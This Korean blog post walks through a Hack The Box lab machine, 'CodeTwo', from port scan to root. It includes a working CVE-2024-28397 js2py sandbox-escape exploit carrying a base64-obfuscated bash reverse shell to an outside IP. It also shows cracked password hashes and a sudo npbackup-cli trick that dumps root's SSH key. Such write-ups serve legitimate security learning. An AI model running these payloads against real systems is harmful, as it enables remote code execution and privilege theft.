Home HTB - Codetwo Write up
Post
Cancel

HTB - Codetwo Write up

HTB Codetwo Write up 입니다.

Port Scanning

포트 스캔 결과 22, 8000 포트가 열려있다.

  • 22 : SSH
  • 8000 : 웹 서비스, linux
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
nmap -sC -sV -p 22,8000 10.10.11.82 -oA tcp_detail
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-29 22:32 KST
Nmap scan report for 10.10.11.82
Host is up (0.20s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodeTwo
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.61 seconds

Web Service 분석

웹 페이지에는 아래와 같은 기능이 있다.

  • /login : 로그인
  • /download : 웹 서비스 소스코드 다운로드
  • /register : 회원 가입
  • 로그인 이후 기능
    • /dashboard : 화면 뷰
    • /run_code : 삽입한 javascript 실행 후 결과를 보여줌
    • /save_code : javscript 삽힙한 코드 저장
    • /delete_code/<code_id> : javscript 저장 삭제.

run_codePage

Source Code Download

/download에서 소스코드를 다운받아 분석을 통해 가장 의심스러운 부분을 발견할 수 있으며, js2py.eval_js() 함수를 사용하고 있다.

1
2
3
4
5
6
7
8
@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

requirements.txt 파일에 js2py 0.74 라이브러리 버전이 명시되어 있다.

1
2
3
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74

CVE-2024-28397

js2py 0.74 버전은 CVE-2024-28397에 취약한 버전이며, PoC가 공개되어 있다.
해당 취약점은 Sandbox을 탈출하여 RCE가 되는 취약점이다.

Exploit Code

  • RevereShell 연결 명령
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// [+] command goes here:
let cmd = "echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTEzLzk5OTkgMD4mMQ=='|base64 -d | bash "
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11

Post-Exploitation

Macro password crack

/home/app 디렉토리에 marco 폴더를 확인할 수 있다.

1
2
3
4
5
drwxr-xr-x  4 root  root  4096 Jan  2  2025 .
drwxr-xr-x 18 root  root  4096 Nov 16  2024 ..
drwxr-x---  5 app   app   4096 Apr  6 03:22 app
drwxr-x---  6 marco marco 4096 Aug 29 13:45 marco

그다음 뭐 딱히 할 수 있는게 없어서, app폴더 파일을 찾아보니 /app/instance/users.db를 찾을 수 있다.
DBvear 도구를 이용해 db 파일 내 3개의 계정 및 패스워드 해시를 발견할 수 있다.

1
2
3
4
username | password_hash
marco	649c9d65a206a75f5abe509fe128bce5
app	a97588c0e2fa3a024876339e27aeb42e
testuser	16d7a4fca7442dda3ad93c9a726597e4

hash-identifier로 해시 값을 확인 시 MD5 해시가 제일 유력하고, hashcat을 이용하여 rockyou.txt로 해시크랙을 수행했다.

1
2
- `macro:sweetangelbabylove`
- `testuser:test1234`

그 결과 macro 패스워드가 크랙이 되었고 SSH로 macro 계정에 접근할 수 있다.

Privilege escalation

macro 계정에서 sudo -l 입력 시 NOPASSWD /user/local/bin/npbackup-cli를 확인할 수 있다.

1
2
3
4
5
6
7
8
sudo -l
Matching Defaults entries for marco on codetwo:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codetwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

npbackup-cli 파일은 ROOT로 권한 상승 할만한 부분이 보이지는 않았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat /usr/local/bin/npbackup-cli
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from npbackup.__main__ import main
if __name__ == '__main__':
    # Block restricted flag
    if '--external-backend-binary' in sys.argv:
        print("Error: '--external-backend-binary' flag is restricted for use.")
        sys.exit(1)

    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(main())

해메다가 macro 홈디렉토리에 npbackup.config 파일을 확인할 수 있었다.
해당 파일에서 groupspath 옵션에 /root/.ssh을 통해 해당 부분을 백업하도록 하면 루트 개인키를 얻을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
conf_version: 3.0.1                                                                                                                                  
audience: public                                                                                                                                     
repos:                                                                                                                                               
  default:                                                                                                                                           
    repo_uri:                                                                                                                                        
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+
E__NPBACKUP__                                                                                                                                        
    repo_group: default_group                                                                                                                        
    backup_opts:                                                                                                                                     
      paths:                                                                                                                                         
      - /home/app/app/                                                                                                                               
      source_type: folder_list                                                                                                                       
      exclude_files_larger_than: 0.0                                                                                                                 
    repo_opts:                                                                                                                                       
      repo_password:                                                                                                                                 
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKU
P__                                                                                                                                                  
      retention_policy: {}                                                                                                                           
      prune_max_unused: 0                                                                                                                            
    prometheus: {}                                                                                                                                   
    env: {}                                                                                                                                          
    is_protected: false   
groups:                                                                                                                             00:32:33 [26/100]
  default_group:                                                                                                                                     
    backup_opts:                                                                                                                                     
      paths: []  -> /root/.ssh/                                                                                                                               
...

마지막으로 백업 명령을 통해 root의 개인키를 가져와서 해당 키로 로그인을 하면 ROOT 권한을 얻을 수 있다.

1
2
3
sudo /usr/local/bin/npbackup-cli -c npbackup.conf -f --dump /root/.ssh/id_rsa | tee id_rsa > id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@10.10.11.82

Conclusion

LPE 부분에서 상당히 많은 시간을 소요했고, 결국 힌트를 보았다.
sudo -l에서 문제가 있을꺼라 했는데 어떻게 접근해야하는지 잘 몰랐고, Linpeas를 했는데 Polkit이 된다고 나왔는데 해당 취약점으로 권한 상승이 잘되진 않았다.
오랜만에 HTB 문제를 풀면서 tmux, sock5 proxy등 까먹었던 여러 기능등을 다시 해보면서 익숙해져서 재밌었다.